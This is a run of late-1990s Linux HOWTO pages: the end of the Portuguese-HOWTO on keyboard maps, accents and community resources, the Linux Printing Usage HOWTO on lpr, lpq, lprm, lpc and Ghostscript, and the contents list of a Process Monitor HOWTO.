Os computadores vendidos no Brasil fabricados pela IBM, Compaq e Itautec, entre outros, vêm com esses teclados. Eles também pode ser adquiridos avulsos e são fabricados pela UIS e Keytec (não confundir com Key Tronic). Este desenho é o mais confortável de todos, pois tem a mesma distribuição dos acentos encontrada nas máquinas de escrever.

Testado com teclados das marcas UIS e IBM.

Sun Type 4 e Type 5 (Xmodmap.Sun4+ e Xmodmap.Sun5c+)

Encontrados nas máquinas fabricadas pela Sun. Estes mapas foram testados em SPARCstations modelos 1, 4, IPC e Classic rodando SunOS 4.1, Solaris 2.5.1 e Linux 2.0.33 (Red Hat 4.2). Como esses teclados não possuem o c-cedilhado, foi usado o mesmo truque do mapa US+. Apenas o mapa para o X é fornecido.

NCD+ (Xmodmap.NCD+)

Este mapa é para o teclado modelo N107 e foi testado em terminais X modelo 16r fabricados pela Network Computing Devices Inc. (NCD). Embora a distribuição de teclas seja idêntica à do Sun Type 4, os keycodes das teclas são diferentes. Esses teclados também não possuem o c-cedilhado, por isso foi usado o mesmo truque do mapa US+. Apenas o mapa para o X é fornecido.

A geração dos caracteres acentuados é feita de acordo com a tabela a seguir:

    Para gerar              Digitar
    -------------------------------------------------
    ç                       'c ou compose-,-c
    á é í ó ú               'a 'e 'i 'o 'u
    à è ì ò ù               `a `e `i `o `u
    ã õ                     ~a ~o
    â ê î ô û               ^a ^e ^i ^o ^u
    ä ë ï ö ü               "a "e "i "o "u
    " (aspas)               "" ou AltGR-" no mapa US+
    ¨ (trema)               "-espaço
    ' (apóstrofo)           '' ou AltGR-' no mapa US+
    ` (grave)               `` ou AltGR-` no mapa US+
    ®                       compose-O-R
    ©                       compose-O-C
    -------------------------------------------------


Linux Portuguese-HOWTO: Informações Adicionais

 Next Previous Contents

8. Informações Adicionais

8.1 Fontes de informação sobre Linux em Português

Grupo de Investigação Linux

Grupo de usuários de linux da Universidade do Minho, em Portugal que pode ser visitado em http://gil.di.uminho.pt.

Grupo de Utilizadores de Linux do ISCTE

Pode ser visitado em http://www.students.iscte.pt/~a12593/gul.html.

Linux Brasil

Servidor da Universidade Estadual de Campinas, Brasil, contendo informações sobre Linux no Brasil, que absorveu o antigo projeto LDP-br. Pode ser visitado em http://linux.unicamp.br.

Projeto LinUSP

Desenvolvido na Universidade de São Paulo, Brasil, coordenado por Jorge L. deLyra. Pode ser visitado em http://linusp.usp.br/.

8.2 Free Translation Project

Programadores que quiserem desenvolver aplicações com suporte a mais de uma língua devem usar algum método de definir mensagens em tempo de execução, possivelmente usando uma biblioteca de funções para este fim. O projeto GNU criou o ``Free Translation Project'', com esta finalidade. Muitos aplicativos GNU já permitem que se troquem as mensagens bastando criar um catálogo que é lido pelo programa ao iniciar. Há equipes de tradução responsáveis por cada língua.

Há uma lista de discussão via emeil para cada equipe de tradução, rodando em um servidor provido pela < Linux International>. Para fazer contato com a equipe de tradução para Português, envie um emeil para < pt@li.org> e para assinar a lista envie emeil para < pt-request@li.org> contendo apenas a palavra ``subscribe''. Assine a lista somente se você quiser fazer parte da equipe de tradutores, pois ela não se destina ao esclarecimento de dúvidas de usuários!

Mais informações podem ser encontradas na documentação do pacote gettext disponível via FTP anônimo em qualquer repositório de software do GNU. Provavelmente sua distribuição já tem um pacote pronto para ser instalado, mas se você desejar, os fontes da versão mais recentes podem ser encontrados em

ftp://ftp.gnu.org/pub/gnu/
e o nome do arquivo a copiar é ``gettext-<versão>.tar.gz''.

8.3 LIE-BR

A informação a seguir é baseada no conteúdo da página de apresentação da lie-br, escrita por Jorge Godoy.
A lie-br foi criada com o intuito de auxiliar a comunidade Linux brasileira a obter softwares e documentação em sua língua nativa: o português. Essa lista é uma ramificação de outra maior, a LIE que visa a internacionalização do Linux e sua posterior tradução para todos os idiomas (português incluso).

Resumo dos objetivos da lie-br:

  • contribuir para o projeto de internacionalização do Linux fazendo a parte relativa ao português para o Brasil;
  • internacionalizar programas, de modo a poderem ser usados nas línguas nativas de cada país, e não ficar preso ao idioma original ou ao inglês;
  • disponibilizar (sic) material em português para consulta e documentação;
  • aumentar o acervo de documentação disponível e, indiretamente, auxiliar no desenvolvimento iniciado pelo projeto LDP-BR.

Mais informações podem ser encontradas na página WWW da lie-br, no endereço

http://lie-br.conectiva.com.br/
Ainda há uma quantidade enorme de documentos por traduzir. Se você tem bom domínio do Inglês e deseja colaborar, então primeiro leia as instruções na página mencionada e assine a lista ``lie-br'', enviando um emeil para < lie-br-subscribe@bazar.conectiva.com.br>. Não é preciso especificar o assunto (subject) nem colocar nada no corpo da mensagem.

8.4 Versões de software testadas

Todas as informações presentes neste documento foram testadas nas seguintes versões de software:

  • Distribuições Slackware 3.2 (muito modificada), Debian 2.0, Red Hat 5.2, Conectiva 3.0 (Guarani) e S.u.S.E. 5.6
  • XFree86 versões 3.3 a 3.3.3.1
  • Fvwm 2.0.46
  • Rxvt versão 2.4.5
  • Kernel versões 2.0.33 a 2.0.36
  • Kbd versões 0.92 a 0.96
  • GNU emacs versões 19.34 a 20.3
  • Less versões 321 e 332
  • GNU Bash versões 1.14.7 a 2.01.1
  • tcsh versões 6.07.02 e 6.07.06
  • LyX 0.12.0 a 1.0.0pre6
  • XForms 0.88
  • Joe 2.8
  • Pine 3.96 e 4.0
  • Pico 2.9
  • teTeX versões 0.4 e 0.9-9
  • XEmacs versões 20.3 e 20.4


Linux Portuguese-HOWTO: Observações finais

 Next Previous Contents

9. Observações finais

9.1 Futuras adições a este documento

As próximas versões do HOWTO deverão conter, entre outros assuntos, os seguintes:

  • suporte à distribuição Caldera;
  • informações sobre compartilhamento de arquivos em rede usando NFS, SAMBA e Mars-NWE;
  • configuração de toolkits de interface gráfica: Qt, GTK, XForms, Tk (Tcl) e os baseados em Xt, como Motif, Lesstif, Xaw (*international ainda não está funcionando);
  • uma seção sobre desenvolvimento de programas;
  • referências ao Ispell (usá-lo para corrigir o próprio HOWTO :-);
  • informações sobre X/Open, XPG4 e POSIX, ou pelo menos ponteiros para elas.
Aceitam-se voluntários para qualquer uma destas tarefas.

Parece cada vez mais claro que as informações sobre configuração de aplicativos devem ser movidas para outro documento, independente do HOWTO. Na forma como ele está hoje já chega a quase quarenta páginas impressas e com a adição de outras distribuições e aplicações em breve chegará às 50. Um documento tão grande foge ao espírito de um HOWTO, que deve ser sucinto e concentrado em um assunto específico.

9.2 Nota de Direitos de Autor

Este HOWTO teve como autor João Carlos Rodrigues Pereira, baseado em documentação escrita por José Bandeira além dos restantes HOWTO's do Linux. Atualmente ele é mantido por Carlos Augusto Moreira dos Santos, com a colaboração de muitos outros.

Os documentos HOWTO do Linux podem ser reproduzidos e distribuídos em todo ou em parte, segundo qualquer meio físico ou electrónico, desde que esta Nota de Direitos de Autor se mantenha intacta em todas as cópias dos mesmos. A distribuição comercial é autorizada e encorajada, no entanto, o autor gostaria de ser notificado de tais ocorrências.

Todas as traduções, trabalhos derivados, ou trabalhos agregando qualquer dos documentos HOWTO do Linux deverão estar abrangidos por esta Nota de Direitos de Autor, ou seja, não poderá ser imposta qualquer restrição adicional a trabalhos efectuados a partir de um dos documentos HOWTO do Linux nomeadamente no que diz respeito à sua distribuição.

Exceções a estas regras poderam ser obtidas. Para tal, dever-se-á contactar o coordenador dos documentos HOWTO do Linux no endereço < linux-howto@metalab.unc.edu>.

9.3 Garantia (inexistência de) e nota de responsabilidade

Apesar de ter sido feito o máximo esforço possível para que o conteúdo deste documento esteja correto, não há nenhuma garantia de que ele não possua erros, nem de que tenha algum tipo de utilidade ou aplicação comercial, técnica, educacional ou medicinal. O autor não se responsabiliza por prejuízos decorrentes do seu uso. Em resumo: se a informação aqui contida quebrar seu computador em mil pedacinhos, junte tudo e cole, mas não reclame para mim!

Documentos escritos por terceiros são de responsabilidade exclusiva deles e sua referência neste HOWTO não representa nenhum tipo de recomendação, abono ou garantia de suporte.

9.4 Agradecimentos

Deixo aqui os meus agradecimentos a todos os que de alguma forma me ajudaram quer através das suas sugestões quer através de contribuições de outro tipo, em especial a

João Carlos Rodrigues Pereira

Autor original deste documento que agora mantenho. Nunca tive contato com ele, nem sei por onde andará. Sua página no Departamento de Informática da Faculdade de Ciências da Universidade de Lisboa (http://caravela.di.fc.ul.pt/~jcrp/) não existe mais. Lembro-me de tê-la visto, anos atrás.

Greg Hankins

Ex-coordenador dos Linux HOWTO, por me permitir assumir a manutenção deste documento e fornecer as primeiras dicas sobre autoria de documentos SGML.

As pessoas listadas a seguir enviaram mensagens diretamente para mim ou para as listas Linux-BR da UNICAMP e TeX-BR com informações, sugestões ou comentários que foram incluídas neste texto. Se alguém foi esquecido, por favor desculpe a falha.

Andre Gerhard <andre@lme.usp.br>
Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Bruno Barberi Gnecco <brunobg@geocities.com>
Cees de Groot <cg@pobox.com>
Francisco Semeraro <semeraro@sti.com.br>
Goedson Teixeira Paixao <gopaixao@dcc.ufmg.br>
Joao Carvalho <foxfire@fe.up.pt>
Jorge Carvalho Pinto <jmcpinto@yahoo.com>
Judson S Santiago <judson@costeira.dimap.ufrn.br>
Ken MacLeod <ken@bitsko.slc.ut.us>
Klaus Steding-Jessen <jessen@acm.org>
Lamarque Vieira Souza <lamarque@dcc.ufmg.br>
Marcelo Malheiros <malheiro@dca.fee.unicamp.br>
Marcos Vinicius Lannes dos Santos <lannes@cnpgl.embrapa.br>
Pedro Kröger <kroger@e-net.com.br>
Rafael Caetano dos Santos <rcaetano@linux.ime.usp.br>
Rafael Rodrigues Obelheiro <obelix@biquinho.furg.br>
Ramiro Morales <morales@siscard.com.ar>
Raul Carvalho <rmpc@ip.pt>
Ricardo Y. Igarashi <iga@originet.com.br>
Roberto Mello <mello@internext.com.br>
Wanderlei Antonio Cavassin <cavassin@conectiva.com.br>

Os seguintes agradecimentos são do primeiro autor:

Carlos Ferreira

Pela luta que trava pela defesa da lingua portuguesa, bem patente na sua Página Portuguesa disponível no URL: http://lila.dei.uc.pt/~cjrf/po/ [Nota do mantenedor atual: esta página não existe]

João C. Silva

Pelo apoio e incentivo e criticas (bem como por me deixar testar os meus conhecimentos no SEU computador).

José Bandeira

Autor dos ficheiros port.map e xmodmap. Pelo seu apoio e por ter escrito alguma da documentação mais elucidativa que eu já li sobre o assunto.


Linux Portuguese-HOWTO: Bibliografia comentada

 Next Previous Contents

10. Bibliografia comentada

Esta seção ainda está incompleta e deve ser melhorada nas próximas versões. Os HOWTOs mencionados aqui geralmente são distribuídos nos CDs de instalação e todas as distribuições possuem pelo menos alguns deles em pacotes prontos para instalar. Na Slackwre esses pacotes são os da série F e os documentos ficam instalados no diretório /usr/doc/faq/howto e na Debian o diretório é /usr/doc/HOWTO. Eles também podem ser obtidos via WWW em http://metalab.unc.edu/LDP/HOWTO/.

[BAL97] BALSA, André D. Linux and X11 internationalization

Disponível via WWW em http://wauug.erols.com/~balsa/linux/deadkeys/

Uma discussão sobre o problema da acentuação no X. Também contém referências para outros documentos que tratam de internacionalização.

[BRO98] Brower Andries. The Linux Keyboard and Console HOWTO

Disponível via WWW em http://metalab.unc.edu/LDP/HOWTO/Keyboard-and-Console-HOWTO.html.

Descreve o tratamento teclado e console no Linux (kernel versão 2.0) e tem várias referências ao X. Leitura obrigatória para quem quer entender a base do assunto.

[GET94] Gettys, James et al. Xlib - C Language X Interface

Cambridge, X Consortium, Inc., 1994. 473p.

Referência definitiva sobre programação com Xlib.

[JON89] Jones, Oliver. Introduction to the X Window System

Englewood Cliffs, Prentice Hall, 1990.

Um livro bastante antigo, mas contendo uma excelente e didática introdução ao X e à programação com Xlib.

[McC94] McCormack, Joel et al.X Toolkit Intrinsics - C Language Interface

Digital Equipment Corporation/X Consortium, 1994.

A referência básica para programadores interessados em usar Xt.

[OSS92] Ossana, Joseph & Kernighan, Brian. Troff user's manual

Computer Science Technical Report No. 54. Murray Hill, AT&T Bell Laboratories, 1992.

Descrição detalhada de como usar o Troff para formatação de documentos.

[KER82] Kernighan, Brian. A Typesetter-independent TROFF

Murray Hill, AT&T Bell Laboratories, 1982.

O artigo de um dos pais do UNIX sobre o Troff.

[QUI98] Quinot, Thomas. Dead keys under X11

Disponível via WWW em http://www.fdn.fr/~tquinot/index.en.html

A versão em inglês do artigo sobre a modificação da Xlib para dar suporte à acentuação independente da aplicação.

[RAY98] Raymond, Eric S. The Linux XFree86 HOWTO

Disponível via WWW em http://metalab.unc.edu/LDP/HOWTO/XFree86-HOWTO.html.

Descreve como obter, instalar e configurar o XFree86. Todas as distribuições de Linux já vêm com pacotes do XFree86 prontos para instalar, mas as informações sobre configuração podem ser muito úteis.

[SCH86] Scheifler, Robert; Gettys, James. The X Window System

ACM Transactions on Graphics, New York, ACM, 5 (2): 79-109, april, 1986.

O artigo seminal de Scheifler e Gettys descrevendo o X Window System.

[SUN90a] Sun Microsystems. Using NROFF & TROFF.

Sun Microsystems, 1990.

Parte da documentação que acompanhava as estações de trabalho Sun® e o sistema SunOS®, no tempo em que os fabricantes de computadores distribuiam documentação de verdade.

[SUN90b] Sun Microsystems. Formatting documents

Sun Microsystems, 1990.

Veja o ítem anterior.

Arquivos cuja leitura pode ser útil:

/usr/src/linux/Documentation/unicode.txt

Explica como ativar os diversos tipos de fontes no console. Também explica onde obter fontes para o alfabeto Klingon, o que pode ser muito útil se o leitor for um habitante daquele Império ou admirador de Jornada nas Estrelas. Depois das recentes aventuras espaciais do Linux, não duvido de mais nada...

A respeito deste assunto é de fundamental importância saber que, segundo nosso consultor interestrelar Klaus Steding-Jessen, ``Klingon é o nome da raça e do seu idioma. Kling é o nome do planeta. Mas note que o Império Klingon é formado não apenas por esse planeta, mas por várias colônias, teoricamente todas falando Klingon''. Tenho certeza de que sua vida nunca mais será a mesma depois de saber disto.

/usr/src/linux/include/linux/keyboard.h

Contém as definições de constantes, funções e macros utilizadas por programas que fazem tratamento de teclado sob Linux. Normalmente esse arquivo é instalado com o pacote que contém o código fonte do kernel. As distribuições geralmente possuem um pacote apenas com os arquivos include e outros com o resto dos programas-fonte do kernel.

/usr/X11R6/include/X11/keysymdef.h

Contém as definições de constantes, funções e macros utilizadas por programas que fazem tratamento de teclado sob o X Window System. Normalmente esse arquivo é instalado com o pacote que contém as bibliotecas de desenvolvimento de aplicações para X.


PostgreSQL-HOWTO

The PostreSQL-HOWTO has been removed for review.

Please check back. Alternately, you can visit the official PostgreSQL SITE.


The Linux Printing Usage HOWTO

by Mark Komarinski <markk@auratek.com>

v1.2.2, 6 February 1998

1. Introduction

  • 1.1 Linux Printing HOWTO History
  • 1.2 Version History
  • 1.3 Copyrights and Trademarks
  • 1.4 Downloading the Linux Printing HOWTOs
  • 1.5 Feedback
  • 1.6 Acknowledgments

2. Printing Under Linux

  • 2.1 History of Linux Printing
  • 2.2 Printing a File Using lpr
  • 2.3 Viewing the Print Queue with lpq
  • 2.4 Canceling a Print Job Using lprm
  • 2.5 Controlling the lpd program with lpc
  • 2.6 The RedHat printtool

3. Printing files

  • 3.1 Printing graphics files
  • 3.2 Printing PostScript files
  • 3.3 Printing PDF files
  • 3.4 Printing TeX files
  • 3.5 Printing troff formatted files
  • 3.6 Printing man pages

4. Miscellaneous Items

  • 4.1 Formatting Before Printing
  • 4.2 The PRINTER Environment Variables

5. Answers to Frequently Asked Questions

6. Troubleshooting

7. References


The Linux Printing Usage HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document describes how to use the line printer spooling system provided with the Linux operating system. This HOWTO is the supplementary document to the Linux Printing Setup HOWTO, which discusses the installation and setup of the Linux printing system. The material presented in this HOWTO should be equally relevent for all flavors of the BSD operating system in addition to the Linux operating system.

1.1 Linux Printing HOWTO History

Note from Mark Komarinski <markk@auratek.com>:

I'd like to thank Matt Foster for doing a lot of work in the re-write of this HOWTO. I'm keeping his style, and adding when necessary to keep everything updated.

Note from Matt Foster <mwf@engr.uark.edu>:

This version of the Linux Printing HOWTO is a complete rewrite of the one originally written by Grant Taylor <grant@god.tufts.edu> and Brian McCauley <B.A.McCauley@bham.ac.uk>. I have tried to keep with the coverage of material presented by Grant and Brian's HOWTO, but I have drastically modified the style of presentation and the depth of material covered. I feel that this makes the HOWTO more complete and easier to read. I can only hope that you agree.

1.2 Version History

v1.2.2

  • Re-indexed, other changes to fit in the new RedHat docs. Thanks Ed!
v1.2.1
  • updates, some changes for Dr. Linux publication
v1.2
  • Windows Printers
  • Changing max size of print files
v1.11
  • new maintainter!
  • Added lpc info
  • Added some info for troubleshooting
  • A start on printing graphics files!

v1.1

  • revised some of the wording
  • developed section on PostScript printing
  • attempted to clarify some of the examples 8-)
  • fleshed the discussion of the basic Linux printing utilities

v1.0

  • initial public release of the Printing Usage HOWTO

1.3 Copyrights and Trademarks

Some names mentioned in this HOWTO are claimed as copyrights and/or trademarks of certain persons and/or companies. These names appear in full or initial caps in this HOWTO.

(c) 1995 Matt Foster (mwf@engr.uark.edu)
(c) 1996-1997 Mark F. Komarinski (markk@auratek.com)

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice.

That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at <linux-howto@sunsite.unc.edu>. You may finger this address for phone number and additional contact information.

1.4 Downloading the Linux Printing HOWTOs

I recommend that if you want to print a copy of this HOWTO that you download the PostScript version. It is formatted in a fashion that is aesthetically appealing and easier to read. You can get the PostScript version from one of the many Linux distribution sites (such as SunSITE ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/).

1.5 Feedback

Questions, comments, or corrections for this HOWTO may be directed to <markk@auratek.com>.

1.6 Acknowledgments

Thanks go out to all of the people who took the time to read the alpha version of this HOWTO and respond with many helpful comments and suggestions---some of you may see your comments reflected in the version.

I'd also like to thank Matt Foster who did the original re-write.


The Linux Printing Usage HOWTO: Printing Under Linux

 Next Previous Contents

2. Printing Under Linux

This section discusses how to print files, examine the print queue, remove jobs from the print queue, format files before printing them, and configure your printing environment.

2.1 History of Linux Printing

The Linux printing system---the lp system---is a port of the source code written by the Regents of the University of California for the Berkeley Software Distribution version of the UNIX operating system.

2.2 Printing a File Using lpr

By far, the most simplistic way to print in the Linux operating system is to send the file to be printed directly to the printing device. One way to do this is to use the cat command. As the root user, one could do something like

# cat thesis.txt > /dev/lp

In this case, /dev/lp is a symbolic link to the actual printing device---be it a dot-matrix, laser printer, typesetter, or plotter. (See ln(1) for more information on symbolic links.)

For the purpose of security, only the root user and users in the same group as the print daemon are able to write directly to the printer. This is why commands such as lpr, lprm, and lpq have to be used to access the printer.

Because of this, users have to use lpr to print a file. The lpr command takes care of all the initial work needed to print the file, and then it hands control over to another program, lpd, the line printing daemon. The line printing daemon then tells the printer how to print the file.

When lpr is executed, it first copies the specified file to a certain directory (the spool directory) where the file remains until lpd prints it. Once lpd is told that there is a file to print, it will spawn a copy of itself (what we programmers call forking). This copy will print our file while the original copy waits for more requests. This allows for multiple jobs to be queued at once.

The syntax of lpr(1) is a very familiar one,

$ lpr [ options ] [ filename ... ]

If filename is not specified, lpr expects input to come from standard input (usually the keyboard, or another program's output). This enables the user to redirect a command's output to the print spooler. As such,

$ cat thesis.txt | lpr

or,

$ pr -l60 thesis.txt | lpr

The lpr command accepts several command-line arguments that allow a user to control how it works. Some of the most widely used arguments are: -Pprinter specifies the printer to use, -h suppresses printing of the burst page, -s creates a symbolic link instead of copying the file to the spool directory (useful for large files), and -#num specifies the number of copies to print. An example interaction with lpr might be something like

$ lpr -#2 -sP dj thesis.txt

This command will create a symbolic link to the file thesis.txt in the spool directory for the printer named dj, where it would be processed by lpd. It would then print a second copy of thesis.txt.

For a listing of all the options that lpr will recognize, see lpr(1).

2.3 Viewing the Print Queue with lpq

To view the contents of the print queue, use the lpq command. Issued without arguments, it returns the contents of the default printer's queue.

The returned output of lpq can be useful for many purposes.

$ lpq
lp is ready and printing
Rank   Owner      Job  Files                            Total Size
active mwf        31   thesis.txt                       682048 bytes

2.4 Canceling a Print Job Using lprm

Another useful feature of any printing system is the ability to cancel a job that has been previously queued. To do this, use lprm.

$ lprm -

The above command cancels all of the print jobs that are owned by the user who issued the command. A single print job can be canceled by first getting the job number as reported by lpq and then giving that number to lprm. For example,

$ lprm 31

would cancel job 31 (thesis.txt) on the default printer.

2.5 Controlling the lpd program with lpc

The lpc(8) program is used to control the printers that lpd serves. you can enable or disable a printer or its queues, rearrange entries within a queue, and get a status report on the printers and their queues. Lpc is mostly used in a setup where there are multiple printers hanging off one machine.

$ lpc

The above will start the lpc program. By default, this enters you into an interactive mode, and you can begin issuing commands. The other option is to issue an lpc command on the command line.

$ lpc status all

A list of the available commands are in the lpd man page, but here are a few of the major commands you'll want to know about. Any commands marked with option can either be a printer name (lp, print, etc) or the keyword all, which means all printers.

  • disable option - prevents any new printer job from being entered
  • down option - disables all printing on the printer
  • enable option - allow new jobs to enter the print queue
  • quit (or exit) - leave lpc
  • restart option - restarts lpd for that printer
  • status option - print status of printer
  • up option - enable everything and start a new lpd

2.6 The RedHat printtool

Just a quick note here on RedHat's amazing printtool program. It seems to do everything that a magicfilter would do. RedHat already installs many of the programs to do the filtering. Here's how I have my printer set up under RH 4.0 with an HP LJ 4L connected to my parallel port (should be the same for other versions of RH as well).

  • Become root and fire up printtool (if you su'ed, you remembered to SETENV DISPLAY :0.0 and xhost +, right?)
  • Click "Add", and hit "OK" for a local printer.
  • Fill in the printer device (/dev/lp1 for me)
  • Fill in the input filter - Select a printer type, resolution, and paper size (ljet4, 300x300, and letter)
  • Hit "OK" all the way back, and restart the lpd.
Just like rolling an /etc/printcap file by hand, you can have multiple printer definitions for each physical printer. One for different paper sizes, resolutions, etc.


The Linux Printing Usage HOWTO: Printing files

 Next Previous Contents

3. Printing files

This section covers printing the kinda of files that you'll run across in a Linux setup.

3.1 Printing graphics files

Printing graphics files through a printer usually depends on the kind of graphics you're converting, and the kind of printer you want to send to. Dot matrix is usually out of the question due to differences in the way dot-matrix handles graphics. Your best bet in this situation is to see if your printer is compatable with an Epson or an IBM ProPrinter, then convert the graphics file to PostScript, then use Ghostscript (see next section) to print the graphics.

If you have a laser printer, things are a bit easier since many are compatable with PCL. This now gives you a few options. Some programs may output directly in PCL. If not, programs like NetPBM can convert into PCL. Last option is to use ghostscript (see next section).

Your absolutely best option is to install packages like NetPBM and Ghostscript then installing a magic filter to process the graphics files automagically.

3.2 Printing PostScript files

Printing PostScript files on a printer that has a PostScript interpreter is simple; just use lpr, and the printer will take care of all of the details for you. For those of us that don't have printers with PostScript capabilities, we have to resort to other means. Luckily, there are programs available that can make sense of PostScript, and translate it into a language that most printers will understand. Probably the most well known of these programs is Ghostscript.

Ghostscript's responsibility is to convert all of the descriptions in a PostScript file to commands that the printer will understand. To print a PostScript file using Ghostscript, you might do something like

$ gs -dSAFER -dNOPAUSE -sDEVICE=deskjet -sOutputFile=\|lpr thesis.ps

Notice in the above example that we are actually piping the output of Ghostscript to the lpr command by using the -sOutputFile option.

Ghostview is an interface to Ghostscript for the X Window System. It allows you to preview a PostScript file before you print it. Ghostview and Ghostscript can both be swiped from ftp://prep.ai.mit.edu/pub/gnu/.

3.3 Printing PDF files

Adobe has released an Acrobat reader for Linux, and it's available on the Adobe home page http://www.adobe.com. Its predecessor, xpdf, is also available. Both should print to a postscript device.

3.4 Printing TeX files

One of the easiest ways to print TeX files is to convert them to PostScript and then print them using Ghostscript. To do this, you first need to convert them from TeX to a format known as DVI (which stands for device-independent). You can do this with the tex(1) command. Then you need to convert the DVI file to a PostScript file using dvips. All of this would look like the following when typed in.

$ tex thesis.tex
$ dvips thesis.dvi

Now you are ready to print the resulting PostScript file as described above.

3.5 Printing troff formatted files

$ groff -Tascii thesis.tr | lpr

or, if you prefer,

$ groff thesis.tr > thesis.ps

and then print the PostScript file as described above.

3.6 Printing man pages

$ man man | col -b | lpr

The man pages contain pre-formatted troff data, so we have to strip out any highlighting, underlines, etc. The 'col' program does this just nicely, and since we're piping data, the man program won`t use more.


The Linux Printing Usage HOWTO: Miscellaneous Items

 Next Previous Contents

4. Miscellaneous Items

This covers topics not in any of the others.

4.1 Formatting Before Printing

Since most ASCII files are not formatted for printing, it is useful to format them in some way before they are actually printed. This may include putting a title and page number on each page, setting the margins, double spacing, indenting, or printing a file in multiple columns. A common way to do this is to use a print preprocessor such as pr.

$ pr +4 -d -h"Ph.D. Thesis, 2nd Draft" -l60 thesis.txt | lpr

In the above example, pr would take the file thesis.txt and skip the first three pages (+4), set the page length to sixty lines (-l60), double space the output (-d), and add the phrase "Ph.D. Thesis, 2nd Draft" to the top of each page (-h). Lpr would then queue pr's output. See its on-line manual page for more information on using pr.

4.2 The PRINTER Environment Variables

All of the commands in the Linux printing system accept the -P option. This option allows the user to specify which printer to use for output. If a user doesn't specify which printer to use, then the default printer will be assumed as the output device.

Instead of having to specify a printer to use every time that you print, you can set the PRINTER environment variable to the name of the printer that you want to use. This is accomplished in different ways for each shell. For bash you can do this with

$ PRINTER="printer_name"; export PRINTER

and csh, you can do it with

% setenv PRINTER "printer_name"

These commands can be placed in your login scripts (.profile for bash, or .cshrc for csh), or issued on the command-line. (See bash(1) and csh(1) for more information on environment variables.)


The Linux Printing Usage HOWTO: Answers to Frequently Asked Questions

 Next Previous Contents

5. Answers to Frequently Asked Questions

Q1. How do I prevent the staircase effect?

A1. The staircase effect is caused by the way some printers expect lines to be terminated. Some printers want lines that end with a carriage-return/line-feed sequence (DOS-style) instead of the line-feed sequence used for UNIX-type systems. The easiest way to fix this is to see if your printer can switch between the two styles somehow---either by flipping a DIP switch, or by sending an escape sequence at the start of each print job. To do the latter, you need to create a filter (see Q2).

A quick fix is to use a filter on the command-line. An example of this might be

$ cat thesis.txt | todos | lpr

Q2. What is a filter?

A2. A filter is a program that reads from standard input (stdin), performs some action on this input, and writes to standard output (stdout). Filters are used for a lot of things, including text processing.

Q3. What is a magic filter?

A3. A magic filter is a filter that performs an action based on a file's type. For example, if the file is a plain, text file, it would simply print the file using the normal methods. If the file is a PostScript file, or any other format, it would print it using another method (ghostscript). Two examples of this is magicfilter and APSfilter. One caveat of these filters is that the appropriate programs have to be installed before you install the filter.

The reason for this is that when the magicfilter gets installed, it queries your system for specific programs (such as ghostscript - if it finds it, then it knows it can handle PostScript data), then builds itself based on what it finds. To handle all the printer files, you should probably have at least the following installed:

  • GhostScript
  • TeX
  • NetPBM
  • jpeg utilities
  • gzip

Q4. What about the Windows Printing System? Will Linux work with that?

A4. Maybe. Printers that accept only the WPS commands will not work with Linux. Printers that accept WPS and other commands (such as the Canon BJC 610) will work, as long as they're set to something other than WPS format. Other printers, such as some HP DeskJet 820Cxi/Cse, will *not* work with Linux. That being said, Linux can act as a print server (See Samba) for Win95 machines, since Win95 has drivers for those printers.

Q5. What kinda cheey system is this? I can't print more than 6 pages or else I get a "file too large" error.

A5. One of the options in the /etc/printcap file relates to the maximum size of a print file. The default is 1000 disk blocks (about 500k?). For PostScript files and the like, this will give you maybe 6-8 pages with graphics and all. Be sure to add the following line in the printer definition:

mx=0
The primary reason for this is to keep the spool partition from getting filled. There is another way to do it, by making lpr create a soft link from the spool directory to your print file. But you have to remember to add the -s option to lpr every time.


The Linux Printing Usage HOWTO: Troubleshooting

 Next Previous Contents

6. Troubleshooting

This section covers some common things that can go wrong with your printing system.

If your printer doesn't work:

  • Do other print jobs work? (application problem?)
  • Is lpd running? (check it using lpc) (print controller?)
  • Can root send something directly to the printer? (print services?)
  • Can you print from DOS? (cable/printer problem?)
Answering these questions can help find a solution.

Send other suggestions for this section to <markk@auratek.com>.


The Linux Printing Usage HOWTO: References

 Next Previous Contents

7. References

This is a section of references on the Linux printing system. I have tried to keep the references section of this HOWTO as focused as possible. If you feel that I have forgotten a significant reference work, please do not hesitate to contact me.

Before you post your question to a USENET group, consider the following:

  • Is the printer accepting jobs? (Use lpc(8) to verify.)
  • Is the answer to your question covered in this HOWTO or Grant Taylor's Printing HOWTO?

If any of the above are true, you may want to think twice before you post your question. And, when you do finally post to a newsgroup, try to include pertinent information. Try not to just say something like, "I'm having trouble with lpr, please help." These types of posts will most definitely be ignored by many. Also try to include the kernel version that you're running, how the error occured, and, if any, the specific error message that the system returned.

On-Line Manual Pages

  • cat(1) concatenate and print files
  • dvips(1) convert a TeX DVI file to PostScript
  • ghostview(1) view PostScript documents using Ghostscript
  • groff(1) front-end for the groff document formatting system
  • gs(1) Ghostscript interpreter/viewer
  • lpc(8) line printer control program
  • lpd(8) line printer spooler daemon
  • lpq(1) spool queue examination program
  • lpr(1) off-line printer
  • lprm(1) remove jobs from the line printer spooling queue
  • pr(1) convert text files for printing
  • tex(1) text formatting and typesetting

USENET newsgroups

  • comp.os.linux.* a plethora of information on Linux
  • comp.unix.* discussions relating to the UNIX operating system


Process Monitor HOW-TO for Linux

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v11.3, 12 Feb 2002

This document describes how to monitor Linux/Unix processes and to re-start them automatically if they die without any manual intervention. This document also has URLs for "Unix Processes" FAQs.

1. Linux or Unix Processes

2. Unix/Linux command - procautostart

3. File procautostart.cpp

4. File debug.cpp

5. File debug.h

6. Makefile

7. Testing the program - monitor_test

8. Other Monitoring Tools

  • 8.1 Unix init command
  • 8.2 OpenSource Monitoring Tools
  • 8.3 Monitoring Tool - "daemontools"
  • 8.4 Commercial Monitoring Tools

9. Related URLs

10. Other Formats of this Document

  • 10.1 Acrobat PDF format
  • 10.2 Convert Linuxdoc to Docbook format
  • 10.3 Convert to MS WinHelp format
  • 10.4 Reading various formats

11. Copyright Notice


